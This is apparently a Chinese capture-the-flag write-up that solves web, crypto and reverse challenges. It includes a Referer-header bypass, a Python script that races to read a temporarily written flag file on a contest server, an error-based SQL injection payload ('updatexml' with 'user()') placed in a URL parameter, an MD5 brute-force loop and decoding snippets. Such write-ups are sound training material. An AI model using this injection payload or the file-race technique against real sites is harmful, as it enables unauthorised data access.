web题
1.题目:小可爱x-forward-for等告诉服务器我的地址但发现没有绕过 看题目题目是说来源地址想到了referer成功绕过binwalk查看下发现有压缩包!foremost下得到压缩包发现有密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php header("Content-type:text/html;charset=utf-8"); show_source(__FILE__); if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){ $file = 'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt'; file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php')); sleep(10); unlink($file); }else{ header('Location: index.php'); } setcookie("token"); ?>
看懂源码发现访问页面会睡眠十秒他会把flag写入到一个1到100随机数字经过base64,md5的txt文件里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import base64 import hashlib import requests for i in range(1,101): headers = {'Content-type':'text/html;charset=utf-8'} encodestr = base64.b64encode(str(i).encode('utf-8')) cookies = {'token':'5D41402ABC4B2A76B9719D911017C592'} #print(encodestr) m = hashlib.md5() m.update(encodestr) #print(m.hexdigest()) a = m.hexdigest() url = 'http://106.14.145.133:8081/web10/dump/'+a+'.txt' #print(url) url_get = requests.get(url,headers=headers,cookies=cookies,timeout=2) #print(url_get.headers) #print(url_get.cookies) if url_get.status_code == 200: print(url_get.text)
3.题目:初心不改/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
web题我是全部AK掉了有些题目是通过exp直接拿到flag太简单了就不讲了。
1.题目:震惊，凯撒竟被4人关在一密室
1 2 凯撒被4个人关在一个密室里！ aCU3QjkxMjkxMTA3bjVnMTZoNjNjJTdEY2cwNDBoM2g4aTRlMDc3ZmYz
先是base64
2.题目:粗心大意的主管
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # -*- coding: utf-8 -*- import string import hashlib payloads = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' for a in payloads: for b in payloads: for c in payloads: for d in payloads: for e in payloads: for f in payloads: s = "8E5"+a+d+"C14DCD"+b+"CDE8"+e+c+"55F3738"+f+"11DE7A" tmp = hashlib.md5(s).hexdigest().upper() if '925' in tmp and 'A2D74' in tmp and 'DDE4' in tmp and 'EBC0' in tmp: print(s) print(tmp)
3.题目:畸形的凯撒
1 2 3 4 5 6 7 8 char="afZ_rCI[kA55#;ASc9*%$c" i = 0 flag = "" while i < len(char): num = ord(char[i])+(i+5) flag+=chr(num) i+=1 print(flag)
REVERSE 1.题目:机密文件
1 openssl aes-128-cbc -nosalt -d -in secret.636748579460890458.bin -iv 6b6a704853325367344c716637754e65 -K 6b6a704853325367344c716637754e65 -p
